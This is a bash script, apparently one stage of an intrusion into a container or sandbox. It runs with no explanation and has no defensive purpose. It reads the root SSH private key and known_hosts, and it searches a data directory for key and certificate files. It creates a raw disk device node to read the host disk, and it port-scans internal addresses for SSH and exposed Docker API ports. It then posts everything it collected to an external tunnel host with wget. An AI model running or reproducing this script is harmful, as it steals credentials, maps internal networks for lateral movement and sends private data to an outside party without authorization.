#!/bin/bash
D=https://itocu-144-225-109-109.run.pinggy-free.link
wget -q --post-data=STAGE13_START $D/stage13_start >/dev/null 2>&1
OUT=/tmp/stage13.txt
{
echo "=== APK"; command -v apk; apk --version 2>&1 | head -2
echo "=== APKINSTALL"; timeout 90 apk add --no-cache openssh-client git 2>&1 | tail -15
echo "=== GITVER"; command -v git && git --version 2>&1
echo "=== DEV"; ls -la /dev/vda2 2>&1; mknod /tmp/vda2 b 254 2 2>&1; ls -la /tmp/vda2 2>&1; dd if=/tmp/vda2 bs=4096 count=1 2>&1 | head -c 64 | od -An -tx1 2>&1
echo "=== ROOTSSH"; ls -la /root 2>&1 | head -30; ls -la /root/.ssh 2>&1; cat /root/.ssh/id_rsa 2>&1 | head -3; cat /root/.ssh/known_hosts 2>&1 | head -10
echo "=== KEYSEARCH"; find /data -maxdepth 4 \( -name 'id_rsa' -o -name 'id_ed25519' -o -name '*.pem' -o -name 'known_hosts' \) 2>/dev/null | head -40
echo "=== HOMESSH"; ls -la /data/code 2>/dev/null | head -30; ls -la /data/.ssh 2>/dev/null
echo "=== NETSSH"; for h in 10.0.0.13 10.0.0.15 10.0.0.16 10.0.0.6 10.0.0.7 10.0.0.8 10.0.0.17 10.0.0.54 10.0.0.11 10.0.0.25; do for p in 22 2375 2376 4243; do timeout 2 nc -z $h $p 2>/dev/null && echo "OPEN $h:$p"; done; done
echo "=== REFS"; ls -la /data/.git/refs/remotes/origin/ 2>&1 | head -60; cat /data/.git/refs/remotes/origin/hole-v1 2>&1
echo "=== DONE13"
} > $OUT 2>&1
wget -q --post-file=$OUT $D/stage13_upload >/dev/null 2>&1
